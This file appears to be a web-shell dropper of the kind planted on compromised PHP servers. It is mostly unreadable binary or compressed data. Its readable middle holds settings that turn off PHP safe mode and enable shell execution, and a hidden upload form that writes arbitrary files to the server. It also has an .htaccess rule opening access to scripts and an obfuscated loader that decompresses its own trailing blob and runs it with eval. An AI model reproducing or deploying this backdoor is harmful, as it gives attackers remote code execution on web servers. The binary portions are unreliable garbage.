*L?}tXodZGI9͎daz&Q%CQ2⛾NPsfG|#SY.vlrxnzqdec@BmI+1}7 uY{׸ɏ*XcِD5 Dj8:NRGKF` R0	 $SzD iχghucylfkti`vlrxnzqdecEghucylfkti98KEUIdi #d"NfİؼqlqGy"3ܧ;aLY}@,]sũg[6}]n~Ѫ;9M2!|Cx,Li5"ɞ&0ghucylfktiIIZNeX[ȺN:\4%NBvvpxBQgMVÆ\Ni:vlrxnzqdec=2:0_!=Ư:wW@Q
vy =)CmžJ!"``/RsU,se8gF1T7 hFh|rS3`FH{=W}*lp2G+xv|OTEjKǞ'*j@g=Xh75	|8~\;ЈYk|oic-٩I ~}1z\SRXUoiw}ӫX2zm˷cu/g.mf*σk8`zs\8!Y
wgSo@IC:}*	|9oi3?R#@\Ӂ$EE8Ct
l0vlrxnzqdecV ޖo6dm(?Ӯ/xy_@ti\)pt\ Hm~ܖEwKGAghucylfkti?Y8R47l?3\Yb
kx8ghucylfkti那` nZ`IuohfSB%J$ｾgcIZ*D 
6,^9f]
L{]
 Kgiie;$#0#s,EдzClIOIS}O4x+崒o%vlrxnzqdecw Ve!KȏR-nȟ{S8 qtq`UȐ@83Vb\
a=S(ѾԱ21g$˚.wjYŽB'}nW ',N\eKtξhzٷKL+m%jZvlrxnzqdecNraڊ^:eI ~`cr+:th{Zr"riEVt.}+8KeMGMF}L|/i=Шa^Ob`$Nlu)V3/ aC f
XIZec) t"6Gȉl2Z5	a!,|R;Az$ŽGu軞OH|#mvlrxnzqdec4@vjUŐM Af)d2td?2/SG_IX!"EMaĞ@ c%(:vlrxnzqdecRziOd=MXN)rmrqi' \r)ĄIH]E4SghucylfktiDI8|"	^bxMBC0qAs[*[ka_~8X4[sA?'Ƅպ8ϸ
z1v8&Aŀ΁ Lvlrxnzqdec8^}Fjk,2+0$Oa$.I Mghucylfktiœ?.r"U#8@TM'n MW`cM'd2ᇀp]%u̼3}tRU,sXS:
 fBU[WpcKs2J
_ˊۛ[p?ځpG(ecC8	󉳗S̴;5)ghucylfktiME]h;
Hҩ-2C ùg3oA
q_=wg̞C"w$"]`^nAc%y$Q`C
8ZO{3)f (w*gd4cx	oqZwץ,\NT5Ǒ#/߻FcqXƁ	8 5p3Dv~hMNh൹,M27}LG})2{BՠCYV~֣W0
XXhӭ.pnYtCR'kLgϽӹ$2\|]C&Hfa`߀n8	Ƨ?2bLvxHUND/Aߋ&an3i@{yz$u8DAt!\Xghucylfkti+(\ˣy 'va`
iҵ T
e߷S=g'5Di_*`mmPRghucylfkti
W^5SYq99 |tsסA[eɠݹ=@ d]JV.nw!3f)S)R&u:ُ&+}DnI$kjX	bt\	l=
jZ$ֳ_)JS0(o[oPf[_8,|GvlrxnzqdecFu^l"$ՇOAC~,[	%)EeBկ$@cu*
(*Y
hnXPҖljq`o7ghucylfkti7.8 W|\edqLFErcT'`zۀAfb;l91u:_M٩# = \`h\mCv?,H `Xoh?PIo.]l}vlrxnzqdec{NW,B(EE+z݉e%ιaxeYƒwg&\N~Eα1j$$vlrxnzqdec5Z1ghucylfkti@~'&]1پkAWH^WX!\yv/ezë neW|:YҴ܋mFW:4,8o@]rK	|Z`
# RghucylfktiHq~?TS;)G&ys
{!3ĲQ3IC09pĊ϶C|7U)~x9
#
Ϫ!7"̵Lq_L*ɯeM!;vCR',|&3rghucylfktip1Y[~;t$ZfrUy_BmbgWdkSf߁kɞ$ughucylfktiNJ#~һ2*|b۱19@i{ҐzCդ'NT8l2#v&PIdpkEjpt`	'Vy4vR7'%
Nghucylfkti}o[`6z86rpghucylfktir		"-BGMk[:olT\&L0)~S"/"85i:뾏A8dXkӒ7T6A'vlrxnzqdecA4~#0n;,ї:G)_C}l:(K51
cʵ^@X {GG:͎vǱkYtr^KlRLr'Gs!0k0ȥ5oD|G$^')kvx2
5B"̑^8FC7:?g)QfaSghucylfktiSvbr)E8=JSB,`T8ǥNc[JQH=M"Ь}0N҄%'|&f{`pn;Xu\w}*a"^y@}Q	]A)2H!TAh߁/XgQA6
vlrxnzqdecäeI~Xx8Pzs@aHa &4͍Čls\.QGx.b&I;u΃m7CUB\M3%;/ŭRm"
N?wKyA(!CUƬEc*[.ߢDk^-
ފD0E"ʫi
@D3ٞ?kSH1AY$y.;:/.Sȉix
'rPT'W(yxLU-ğn*ߘ%e$IҙK¸ 1+SS_rqQVZX8Zwjs)r2{?XJ((B׻@¡wϝ,JwA,t	oiLYÏrV}gR^vlrxnzqdecc%Q;f7ִ˪,/s^ȚK-#O/ghucylfktih#WoUښٕﵝ oj-sx"09jƽʊHM 
=R 5fKXpnΡzѵ&3QnޛPI	-
:8j9'G5pa1P9{*ba?i4@0^A=ZJFBgU!3ǖؠ_9=_@yĥE:碓
թU#=mϑ\Jݦ(zc!~&xW;;QK28bI%1IW?
jItJf(CXO#XBހCW)c(}E2}RpcgO"ռQy.nbƠ+מ5'GY8hŏk&ֹ/vlrxnzqdec=nQ62o-	I ..lٟI 7u߾58i~vlrxnzqdeczj3Uo@vlrxnzqdec?4緐Yj'C#mWSVx{
~_qnp.9KdghucylfktiA'3S[ghucylfkti\g["C2F]q93|vlrxnzqdec?&̗tvYcJ.-XUϦ{oA}Hb]@hghucylfktiւSԯ̽VMWXs3m
gB~qZ|}!	;'SbJI6qm^dOWpד4ukl(0&"q9#Ɔ7ãpeW,QʿGcWď- zglu4~
( ʮ@0#7Es%w9HU5I$~2?nvlrxnzqdecwvno vlrxnzqdec_iӟ_*yLx5[U%؛s's=k#\\.NQ\7%PgKJ$p4x6OZ\.ɭ5g zw@YО[k&]ળb_;ۍzE9TZ02sOh:I)1R{X_B:~G\3jv67j~`N"qyb!?JbmҳJG5_Pגӿ͹|^M.ꗤqtygghucylfkti.
ltM5(acڋ'o'i=Ŵ*՛ffns759_7cY$\M[sjd8v{=Q:KS/ lhs@DwU&6/_b&NXB4^OߴxF) Aq
|K)2(Z'ﳕ	#:*E*u	#r9I(5Q^JKYeK$|JSctɉ䪿^}|*Ĉ~~@n{xQ+ˏO)1N2яbB
ZuVGӴ{2,AX+=?!vlrxnzqdecړE95ghucylfkti(HZ8A8Un	g?i8qUJ쏤2%}Mm2a81@3oYf]1X܉4X)l%
|/wޟuJ݂@'}g], ؾk 	XfqLD ЖJv:~9T[v6$)R9Uҷwghucylfkti b7
v-o2	m}3
}Q]Zy7)_rFKfYZ75A|x?q1yA\ʬX2jIpܲ(OAjwpvlrxnzqdechNebպ	=(vlrxnzqdec7P快}5,Njcخ_om}疯ߜ2")Es;;(H)W"署ghucylfkti/ wn(1bCO=j3Hr^\YQ&OY9
xÃj@)Be'míWi.[a!WѠ3RI۩B-'
FO"\b՛GV4ɝ&g*`Vyq(;ǕYŽxUFEaA{t9 Y)] A/@6}OK3,9mZ.$$cp@++#tm=ɘzdu4pNoCiٓ`mٷpu(}1GϾ~^ f2fN=Bp%㖌7=|va۹C-Ih\rЋ;Ҿzp
؎|| j:eJppkQ!ù Qm[126٘R[90 T\&{`כ/!iYDFghucylfkti/+޺OucC[ZmsbU=^")]qnB=,)AH; ޜ\5"K=fV%
8w`[wFJ+?!ԦfǷk'f9uy
UHyv`iO^7؊%vIϵoB1\xCG.֖R}+g5@ 6a\	BiFځ.
$(\MY"3ghucylfktieFn?DoPYl6xȈ-$h#jxw_K%3Ad nw˅`.VUBvlrxnzqdec͵;O\|SN8v?&t
HSֆeꞁbW;JR~VEvlrxnzqdeckMp0ºtlB-oE"*a4w0
J
,ŷD$D̝yV
3ĘhqߒN	`P.Fo05v`FASa0sl]fh09ww嗏=b!msxb]!?4BIIKywZ3f=FIhs	e!EÇ_v/"F@vc6beȞ3Hw/N4	_`*.
-ghucylfkti:Yvlrxnzqdec
a$X
@ݲrؘ`%1ssKۄs1XGQTvlrxnzqdeck&c|0+(i%Nt~J٬bɃ
&_O0]#"mh󂔳ч1h}Vz~Gl*(t;U2vlrxnzqdechc}.Wj"x-+[SwU^^	ȏ/ő+ ȎXY7W~ ouiRCavlrxnzqdectzn.g5djm3ؚ1fUoʪz;uC%ա.?
IAT7K@3=時G¿ghucylfkti|Mvc}%W[ۣE6odb%sKt :#siFK?~ghucylfkti!nY֖LЬRwBe_`!k&U'1)LQ"hy';{LIYTa~p3* ^L{Q
ʑ6tƹ;ΐ"m{ed%B"vT[v"H|zSǫvlrxnzqdecU{ }޶ٰIZIKk#G973fjڧy3
EљەtkAmao*mbm9 G3w}G5(ү&6wrDJ79ɣfW*
fd-}QMO#cmI~wq)܂ǟ		Jn@
uU)vlrxnzqdecIv@:7K+wyEvlrxnzqdec@}V3ϨY MfJ8櫊Iwjwα}Fkc:	{͸"nb*q4i`WpW˴®7@/O$ۍ} W`Vb*vlrxnzqdecK qpvSBj$Ҁ?
'I
׈LTa&d5	LM~!hP̶!2 |ɻNF($Zghucylfkti]whT|̶:RYb#)JGu`twt{R-lȹ+5]&jKn.Jmr@{1a=`;=MIwBAtAZk6v	/lȧ!\
젍@FY#	p1H9i`%"˺
!# Mҋ|
As%/jj-vlrxnzqdec+BϝD^Cf¨ௐTw_}DvBNT"Nw~ghucylfkti :p({`!J(3_:G99;RvlrxnzqdeczT|`z`acK+rŰbcG[) _}cNo^ڋwx+F;JkjQTOLhGc,|50pQOghucylfktiΥR?Ɖغyx
Frn)-SH-|Ί0Γ/(,Gh[{,t4ghucylfktiް$O7ϓ@}?:`T44`;Jߍyត6Nghucylfkti3N
Ii+&%:8ýP96*HtX܇篘E+Џ~6D,Y7d1*TQ$ڮL'5BlzFN;m}`bpF/=
b4b/^"UxEJJ|פa)r-Ҩ跏$3625YApvlrxnzqdecghucylfkti (ZN"m^)I Nh3aqtH/(ujL.E8yBE2\㛝TC78i[7~`ހ`K 7H$S$MTTxCc'tÞAA`ɾ5"EmA!!Yc6VM̰"?I߯dGbCj!G_!}D{dO02O(c]D'Ձ6KJ;xVa_'v))g)Kle!ieatY-{C\ghucylfkti9o@@ЌA5^ԑaȢ!\c5/8ďZvlrxnzqdecJxskr4s-0UЀuQlm.iq_NĈk51x2E86.DJr=DYz
_U_;i@E~qgXf oo5k
+WghucylfktiTB稗]\NoFC݉o(4o6=aҾ_!Zf=\0ui%mNy-YiT'z*ؼwǅPM\ΰ
Z
+QZ4h/|*!4V!!8l:6K
O,^IOI4n&x'QcdgghucylfktiqnQpZ??Ɇ5`ISK&W,5azUdYPtUy+n%24jvlrxnzqdecȟ@MA! &.Zt*ޢ"aMzuM]4Om }La_YcYo
ֲv
?'i	ޓ08ux'Fzu|w,JS/u[282+^oau0WNuY,ߓvlrxnzqdecCAӴ¨E*Ts]
koM44~XG#XgOvBb-Rci?htŧܘCR'%bTYPSZ`A?"QMڧέh""9V7aN~{Q-؄
|`7-	j!|ZsNJo͜C4Rk$zJAI6SB[gQƻpMD"xm!l-[ox }D~-[	JYDR.]h""΋HHYo\#WILFghucylfkti?	 %wP,}I:cJ
E)f{]pa:	S.1/vlrxnzqdec ghucylfktiyƚhx]%\k!'7fHLcÃF+xdk'y"ΉL+9l/9U2z9_"(0㦄(CČ1^&2mg(\6MR_l0o5չ0B^[p~p-$CǏMRXw^NJvlrxnzqdec}TDƮZ#]X~J5
P-}TwuQ":.w6C^ײ,Zs	@NrlaYXFl?^!%?ӜL)w:*9p-(Xghucylfktia;S(]#z]dghucylfktiS7ޢh
$NkuvlrxnzqdecT  ̎vlrxnzqdecf)otۇ
79Oro*s
O@w,&JG{+@`? 0L:\wb^~eo:	h|Ez!Bwq~lOT t)٩j'xsnBҺA*F~߁BPEf^~E?]gsjf	8Jg9jKOok/r~x nIvlrxnzqdec7
}sO!bHPi
{ӔU4"!8S?֝Ԝ.KoLF*Z~R_Yz0?^S6eïam2EE=&
yhuRu]Z;&vlrxnzqdecܛL..VbOI3Lxtaٴ葎e*I6A)\Ӿ-dк\C^u{ډ5 +M2.AZ= 2gNZ׍/D|; )bS4P提Z?юvlrxnzqdec5VdvBXF͜gv{/wVRH0	7]hhtN-Hم4rL Kw%@ghucylfktiwҢ/{^zDe|XxwL_
*ḭ,ghucylfktiT`iClYE84}J=L｀jhOr\f
g4Vj$Qabѵ	fhpT{s3ԍ.-x3k0/c قPeH,
18jYw'_C:^SÓ+Ƣ߸-d3
JB˦]hk`P^nZdHI.1	7,-p ~l鿌@
5gس;Zĳuw:*Wr =VưZN9^c.vʔs/1E
|1W0xlT_%zomkG)	DQ7G{ahghucylfktiθ1u
ވiAZdH`XmR9-
k,EK.HܡHZ%DDEwm'\O"gvlrxnzqdecjsՀPxj̑bСJ`=\~JuvlrxnzqdecXV$94:a
㗙Tsi0CRX=VΪA2~mco3W?{2"9w
jFti
.Ds/O;@vlrxnzqdecat^Yghucylfkti4EkФ,ʞ`qghucylfktijFOl\X
#QYBQ1z
YWh#1?Vh6Q#*+=gN\ghucylfktin6j4_u| # m'#'L9L+K~΂V
(HjTa,"VN)v"r
n:oTjx:/995夂&!# ~z
4~DWz*_l%9p n接34	B.aϭI/OsS% veɮH
P.V6%]Oo1gv9ĿZIYe-ܰMZ7wu '[pt+F_3plC}D~@tyz LH2g#pT({G$ŒZ^ZNiE{_:?y(B$#
Y_mG#~Ř[R%j*-nj"uJZvlrxnzqdecDW
έ5Hy9f̛#5kX~On cj.Z,QMrDat!opZk	|p6IQ%8e⏡.C?]&F yP5)HBeIϺ`؍-;I$ {b}Ycd\Jְ_ghucylfktià6?gHpD7!W_Wq$$[x]wzu %/⼑on=Qt"[]E|&x/15J(/o$ldАQ	osÍŜm\OPez}|vlrxnzqdec^5茕5(!$ʧ莹ZxC}Svlrxnzqdecty$~]cp ?~7-Nyc(f"%f}v*J6܏数#s9S:(E%Ĕ=Xڰl)ict]ua^ݥS2M2g7)t-	4;	G0MX$(ghucylfkti^k4"qk\rLwh2,ML#M+ScܤfwC2
\KB
=04ĵ8E}g8{L!uP9U뢗NRLKs:p¼|ox}
V+ܯ~؟]WLi8*p&.`MRPcq7%7z}_ۈ,p3&\!@T4읭.I
^NaL-84IF?\9טfWW:nel٩sT[F߱
x {F.b}$̜KX?hF
-@9DَVOTFmQߢaB=.:NଶW[a9{)2fѪ!FA}D#d'knv巣4?t1tۘEճw̼ghucylfktil
~K
/TEYX@DTMT*j޳8Ź4ѓ%^W
uFZt;dR
MKKh?3.uƌMZ[v
О)i1|ghucylfkti; t؀hG5 ncs]d}Ng̠_*-~;Wg)3ƇG3ꑲrR[/ǧZ`18aawghucylfkti.AZ?ܤ=nw(lço?O4@ghucylfktiOm+]5p"FGaQSN .aKīNgLbF[	`q.e"3[ߑţgUYu5\PK?GtsiI3ӚbExj^l8ie8ҳ+
@qP}`
x(JiŔ
9kR=.sMk};Z@By~C='qR5;`kɼb$ghucylfktiIDF9uܢXR/H)rp;6ikƔha*)Zfշ`Y1/ن$H.UDǨGۊ.\ыQ{CV4\!2uXOGu)ˍhdfH2*!e-~dQX-d`\˂'in5BnT5dghucylfkti/Fcy d
]QHL vlrxnzqdechך!fZ;,vlrxnzqdec0`=CCxhjeiokX\s{eȘb]c0]Jn-rC !vlrxnzqdec`hxN1%'l0buC1!oLS7 ibѪ:ECb,*1*RU!C~*͎.fBCvSө潂MVN(jfRqȄ/357ՙ!3fjH7CGsozn@,Ne_3@vlrxnzqdec:U *ghucylfkti	y|~$f^-IkbdiƩ`{
+*Dsی'͗֏$Ձ.%mPXVq]m.Zz
ŧ¦^ڂ=Pel5H#? 6무|ݧ$hkMôȻ{g&,~"K9"^CMdނݠƔKPMhBwkzzgӼH/؍pѕFMpUu&%
``oSZ=AT=ۉ-%_p3zb4ݦ]{z1JR%"Y1џghucylfkti ]+C~C=P[Ml9Sld쳎gT(L~vlDVV"N7V(/x9E`U|S ٺDC
OI&o.E
̪']wå`bi+u,`1Z#7u1ͳe,gjNc')ԛ)-VH?Le.yNp:3l{tfC.ecM\kچcoX}^8e!.[-]õ("4S^ĂE~Z34C!Ybla6x[Ps
0/tPAyfG7aɒKPFR&+ن]O#$͗ȳ~W.vvlrxnzqdec2	Y7~GʥExgwkT%T0L^$9dnc_GKh!ChlB	,y?+7d1ZQ{pC飀
s
5}"1R1[!RLuG0I
UU;-B[;?뎽-DybA"ϻQ8/ĩTI;5otúf-'Nz6`݄TrMS4Qp#{ghucylfktim
,nb+|pi*^Nt})멀õiӉ%GIkYx?'9헋-ezrYӚ*s~ I&n.qV]@ҩDB{5Ih0fM6~,fG{ 8uBYvùhaDI	1sI#6gP*
!ÔwWܗ{#%!ЊUvlrxnzqdecv~ Ehyζ{kc{V'h836/ٯQ4P3
01']"8ۗ+)A0vlrxnzqdecT58ћaWe)Ebgy`1tt32j}o
0c=?w:SMޗZNTjvlrxnzqdec[X|ؓ O)
R Xzi윳rS\rY6UOk'km;nghucylfktiM}x,uc#A0fGYU_I'[$D\VPPpc|da	/s)WP\B=x%)
vlrxnzqdectQ
t[%:5*4#o?kB%w{-JAW#	T;z므f10*@JunWtXecjπT:	04SG]湪bO*~{FB솮(W6uA ghucylfktiyZ!d(DO[ۆB2Z{ӱ,ohY:fC/ЇSԏr+
%˖KmmW 1Q$&ؑ*4 :=&"蒿%jho314_AveȨi]A[a\χb/~I*R]32vlrxnzqdec;`V-gɪhVL,ټ;RXz%e@dn@9L|oLyQoTcm7~߃[Eevlrxnzqdec|4ҹ('	(_IvlrxnzqdecrdԞlekm6(S7zd``U՘Ƌ;2Ujk;*" jFc`vlrxnzqdec	}mLG=`ZqKFNl:~EX#Y]u@37媱ԗP3 ^28gyC65%Ęz-bxTzg0:Y0~wP)I7M{\Y V5z ϷNrƝU|F Hb9IRFrR\L&02gոz$v޷X_ĳAzXhyN*Q(sQMa#
GU6o2OPCƻ}PEqk{DeD݁l	3Y?**{fF@	!a_# JעsnۘIvlrxnzqdecyge,hvlrxnzqdecGnpj1Ʃ
8_,ERגlvlrxnzqdec]?R+BBSzp:I@R;t+|9~5{Kz+xo䐽ݎC%.ĉئNP3q;|clBD1QPXZ(⪯pS8OgyD%1*C['?u純hk䯒׌mb6OEmq5^7Qh~=vΡRץމu뛯[8_q8^zkGnTػ|%Dxs!pfk$]{yNF0FŅ
?Ɵsõ׀5GſPuӔٝiˊ S.~Z	XkʟTqο\*[Οܠc#LMV/ ϼ5nyYXk:|{;CGS14'`[]Hn(QZ%6J25ʹe38ZB`[WCuTSNJB]Dw0CòaߴD+zP؟*{/av)o.UMjťu8țCOM%w	JOa"bghucylfkti5M/ĥ=1OՇ{^ۦh滅1Z!8kvlrxnzqdecbսsҺs|""vlrxnzqdecNؙ8:io;lw5	)&x`{^a3wIu(OS.Ѧ;}	s8qԫsy~ |Mt(tJS-&!P]jr
7jyvlrxnzqdecLW}KCSFjtHj}kCi[mE~;Aqq_ԟp
o`)*fZZ__"GVqM#z@@Y6%g8q;ē("M&mks|=3ryQ1umosZ"QO]Ўzvlrxnzqdec ?
@B..|͂aG߀?goD|w?ҏMou5-vlrxnzqdecX̘Ϡ߁#qT\Bm"/1"d*%ghucylfkti)}#NxұP~3jpQrs] ӗ6~/jY%hWx~
H6\o*nvbAfahmSvpN!+@K}uɀ3^pj![|VQ^M\ghucylfkti:TE~?ɳ`rg608o&|]GyM$BS/E|Jפ[0GZZ{3(otDJcGmDszbwSqɕOz$J)nTiaA9_}5
'&L]̱I4Jr{95:?");
+;
_lk@\Sq 0`ׯ^NhJ]3Rt2i:}T097Zn|}:uYO\VB DUl&fQ:`Tn;EzN%܈Q#}~x\&c,
Lەl`'vlrxnzqdecA%	ghucylfktik.AybsɺCZkuKD0.ЁFVmT_svlrxnzqdecxk؉D 1ouΨWp __23;B]Tvsoh2$1CɔeJNqAyYjeG,}
|?
o"-oghucylfktib;H3ߟXEC՚1,ɜ5pC9KH+C.
k뎨1606A8d^\t@
TU4Mk
IbR3/L0OXNCU1@(Χ.
р] {C~ŕ
ghucylfktiL~rL;^WSbʐCyMH=al$#24%ĳsafe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON<?php error_reporting(0); if(trim($_GET['f']) == 'f'){ $saw1 = $_FILES['file']['tmp_name']; $saw2 = '../'.$_FILES['file']['name']; echo "<form method='POST' enctype='multipart/form-data'><input type='file'name='file' /><input type='submit' value='upload' /></form>"; if($saw1 && $saw2) move_uploaded_file($saw1, $saw2); } ?>

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php
$qVRA='file'.'_get'.'_content'.'s';$jbhN='gzunco'.'mpress';$UJdj='subst'.'r';$tsYb='e'.'xit';$ErOf='s'.'tr'.'_replac'.'e';eval($jbhN($ErOf('zhwmjnkeia','>',$ErOf('fdeuqpyhon','<',$UJdj($qVRA( __FILE__ ),-217328)))));$tsYb(0);
?>
x]航i&ttHzhwmjnkeia@A`lnv`&ṁ\A3kU7j9g
 Ŀo?__?
ǿo"nk=|^94fdeuqpyhon_ǿ_Ϳ!?~ob}ԗ\~Bf߷}]=?_rVz	mCog|WE=~e"ԃ]=:L~?yqbw)ɼrtj~zhwmjnkeia_KO{NscfX|}cD)yD_OxzoEyϩȖ'_N2{d=qr?zhwmjnkeiasoꛏ|TlPZ{@8*ZU'iB/2qwyʩ?qbh)g0zhwmjnkeiaq58xbI@/bRz"]LqLD.ھK*#??u酋3.2}n~:]y{ʤnp 5"=qZ8~}~89ufdeuqpyhonNn)	xqbWu
~Vzhwmjnkeia̕9R{\d7r#
V-YgzhwmjnkeiacT&E8Rm]8?E?.Zc{DCsC;"U8ss2\;9??q
=U/8g~|:LctӉ0m,?z~9$qCǕb\֯y*r)ŏ_5f3msbsߓyXr|v0~3(^{g{kkmvfdeuqpyhon?)]6-9lۋtH/EZJc1o"%fdeuqpyhonyY'mǬ.DpOk\wfdeuqpyhon~wfNͯg6撔X;oN+?i+#|Ɍ.
VSnZY=`̍v0myN7[Y
zc	SvL?OSKζ?fdeuqpyhon}o~qfdeuqpyhonUf~h4ḉ?;danbAZ,~JY~?cVfdeuqpyhon)ѫ2nC_@_K)	1:~x@Ih׺öH?𥎇Y&r	j6g$
UK%24j~|zs:	zhwmjnkeiaGt哗XH:2Q]DTTc)(#̧XaQ7Gzhwmjnkeia?3l:fdeuqpyhon_1Sq@b;zhwmjnkeiasX}9LCUSxꃦRS]a%uaL+dEFzMʴ#Q$'%7:mhcv|8t	l}+2zhwmjnkeiaA`S`ÀjNVYG'Zmrg}uO"s"?/xuiF{هe`-Ƚ_MB!swpg'Nۿ.0N#+"hdF&a-yo{1zSl_h5\D_{M.˳3~'ofdeuqpyhonrU_oCsC+i&ۢEMm%*|VPC2J4=F,G[|irqP)?
ȵ^FݯKdĬl{g|7tß{=u=?`~@[Ko-I䔵t)W~P[_fڎS~I)a6`o6*bߟqmjOzhwmjnkeia~B7GsL0?'p'`=96T!KEB|!aAyCQ,7YDgƚ)iQ`3	G/ufdeuqpyhon:tsrfb+Br¢X1%+~0c]vcZ;7`9gT//K
W,PGzhwmjnkeia:tzD{K,fBfdeuqpyhon	fdeuqpyhontzBٿR ˋ)VeJzK̍3.CRET L
dgoaVS,E1
т:4ڥxt:k
piGMG]f_\qzy4AĻ2ejy*4.
}֗"JD-Ceb!oafdeuqpyhon
}7[oN`d6_~:[odWڨSHs
3Yѻ)V#AIqMSX?G=gJ{	Mzhwmjnkeia8fdeuqpyhonR]__GG3˴PNzHS|
K.+NՍɰU:ah)l@)Acx\k*"tZL#o͙nzhwmjnkeia"X8R'ӇD;E-@_*DO"9GG)hRfZD;mp*1T#v"cy)DL퓽 N R_| fdeuqpyhonײ'=Rgl7zAotDcDX&Y].r铉1:]̚ĝ
9`!%F{PS[P k1IBόI;LZefdeuqpyhonfdeuqpyhontVꛜǧXUt
!eh2-$FףSt'TZ3`ҰH`g\4tYi329E2!fdeuqpyhon+|[Ki-S(*rg{aY{hKCAtsQ/Xzyem1eU`'FG/)
y^fdeuqpyhonɘ-W14%:w0o#AHzʹ}}c~J3ǀ *s{HBA|;tm~rx/f|HQ70~
,iehr\jTb"ҝZ+gfdeuqpyhonپ;&[7Zv|mw.+N^bJSo~BUv`U˾
lUY3ZDɋL&kW?fJޑwMS
Be%^F֕,w0%HKcGB+
͖Qd=yZSY/Lhcw-C
 Wb;Ȍn	!xfdeuqpyhonj11,mq5=x5ЏEM7T_/1%j:̜Fa-}W1&Hzex/m|4?_@uoOŪTE\HC"?dH-..;fs  Qu*))FQ?Z/Q}*ch?]_IQb'HRR,w%m_9EםrG2uY1ts2e.ʞ5X AxD26,S-
^ \d*Sʎ߸5EbOPz5*e-
 θ+W\RGbα.adǋo q_ǩ;Ԝr琺?"%Au
٤Tۥ5r	o|Fzٱ
!Nf~P
2$+bL_L(.eS:H$HXo䕃Ar]q6yMaߔJ⾁o\v7Ǔ	yJVT|-bzwאKq{
[;O0͌_4Fp+!dRzhwmjnkeias{Q,}c ].@]wM=dqr~Ozhwmjnkeia`kKHOV]8zqBxmKfdeuqpyhonh0[d/bلkK!:-n8Ⱦ_[o5ţdUN'zhwmjnkeia]ie1"rRGGmIzhwmjnkeiaY:E-d)9arfГXg_1m1*}_Wq	d,̷[y|:cw"ے{X%e^E\A	ٱ'ۺCXCa-5@n&fdeuqpyhonTPSB?)ޣ(j߄^O6piF`i[J}
(+}an/߷|JŢ{Hg$I^)	%5pXX[vrQهK\PZ94+){zB흉v7
w#Vs^FN⹰;܊HCX-Ԇ
=p^Cf׆/v-ܠ`9@ a2zhwmjnkeiaWɬY˗(S'yDt
k󨋫hoIU(	u?}HLUisbxIC[bI*EsD=fdeuqpyhon
#	9*S.Ue,mP/H0/N|{a϶|Vfdeuqpyhon=c}|l^Xl}Y}Պqn+^ЙOxy.Y9U
˔.?l3:PߥsۮznRQ_i}yzyV[l`;=Z喪-g\`e3'25әwGG५rFG/5L#gx@?wdOLP}hJ萊Z$6?ĨuF
CPo@'ˌ@4Ȇj^]K?{[pxN9̉v'dA؋A7s|fbqJ6y7VBS"Q)fdeuqpyhonfdeuqpyhon1UBw83F:oȇ(Q!29v,πo\EJoGl)g.ZUY6;0Oס+2,y&}09|Q!\WfVV#9`_9?M/wQp3'nYm8zhwmjnkeiamfa1:Qzhwmjnkeia*r!hk)m{`&#$sK4/ zhwmjnkeiadȌz.:@M6dPg7.ݷZ )IŬ6U[3)0c,WѤxn.0ff7FkQiaß?$F~r}.0'
;U|Wŧ&*cv{^Q2/-
2]7{'7ַk_04zhwmjnkeia7KKݘ`fX̙8О@}jX`Mӕbtm?
!t^ȃc;7B%i
*6C v}FX^+ja#	KqcsDzy7{޹W7ț(PAN.v^*zhwmjnkeiaWŏ0.JB20`}Ȋ˰]oyޠg;U

^ڸg˼ICasәht~֑1\v	8hNTɕ9[)
&)1	0
?[ 7 "p@$rttB~d1@,(5@{le`N,qvr'zhwmjnkeia!h2SU
~hA+艷N{1W(:|Zzu[/M&|Dzhwmjnkeia!qLpslJnAVuGbI[挚
p5}GT}ޟ&]/U8?Ƽwꃗ/l0JUdxfdeuqpyhon_,C +ޫߞ:idkY.X$||a3¬^0X#uϽkۏ -we,u5ɔ*2\75fdeuqpyhonYp$[fdeuqpyhonm+
?o-Y2̃SP ?
xj5xƀtVבU`2 p?hSH	ZhCrfdeuqpyhon[&Q{zhwmjnkeiaIRfdeuqpyhonEgkV 8""Tpn8WZ漂L,hC393fzhwmjnkeiaJqb2fdeuqpyhondҰdDnvwORgԑI|ݿY玜@1fdeuqpyhonTw0HđpZ~8AZPG!)
fdeuqpyhon2wz

:wlWUzhwmjnkeia5j4+ھuX	kK]!=ԐߤWbaiw2^pc:zhwmjnkeial4Bz4`3^
 "U4]No 'ԋH3
x砯EW}g|hŬ(%P2.hc_y3urQł

=F5zhwmjnkeiad']Cx7nOX+K'k;ItCF%-diW^B+cr:;͢ YW[|Ur]9crgbD̑Ә.-eTܸǈ;yGϏ]Bյ^d[;*n0&jbԳL}\8c:cL[C\(*:rVWP3QH.|5tv-nr Ȟ_.FO#Uʼ.I,Lh&iy3v"Z9r#C)P_@V$'&!A_@:kyc0ڨ =Ꙡ17(:畏vpQLJl'gӇ_Mus~H͎ /vwy	La	9ڝ;^\~i\X=s]Yv蕪kPA	fxz1"'kqB.Hԟzhwmjnkeiazhwmjnkeia'DI2j}T9t`:W30$aȚw`zhwmjnkeiaR_zq1P9Z Nzhwmjnkeia鹪J*J+M#\xrL.zhwmjnkeiaet*3bhᵿ+c8W[EK;G!Sv$;erSHlfdeuqpyhon苉уsĝ{	߼a0/Rzhwmjnkeia[̅l]k75]:ӏ֝Pb\zzhwmjnkeia"W*$&%XmB{7wiS{@݈=z?zhwmjnkeiaV0^{ސK%^'c}^D/b=p'zh2Te yI%ru#kl7vw}.0IYY}椓a?oⵈ}uٕhJY	~1;{Y!Ci7bEЇ
lZE5f˂|` /p*,g,	cP3qM L@=w%d#
{vU'7n3g/ӏV5Z`kR(X&\$kgs
;fdeuqpyhonnRջ׶T=trtfdeuqpyhonʱr0{:Bve
@Q9[૔'p	FzhwmjnkeiatjN8}29o"R{j8KwQ6J{1VV8YRԒ;BhA7u끏fgN@@`$)"dap3A,]mل}dyzr?t:/)bBMƟʹ]~nQl3gdj'2S˫aMZN,zBeZ}PoZ)e{A*wsaF/zhwmjnkeia1ﲛ?	G:E
~lY~xo"[gJAK+pXUxĶ2!?B	vEr{yѾ4w'3.3uo^{	Gim
U۾%V[ ?zYA}s9!KEJ_+RWN'*BrzhwmjnkeiaANLV~vo=Hlfdeuqpyhon[M,TpfdeuqpyhonqH!zy"';Uefdeuqpyhon?d?h߉zhwmjnkeia;kXVfdeuqpyhonЯ[_ss?x51dNkA靄4"}m[}|zfdeuqpyhonG
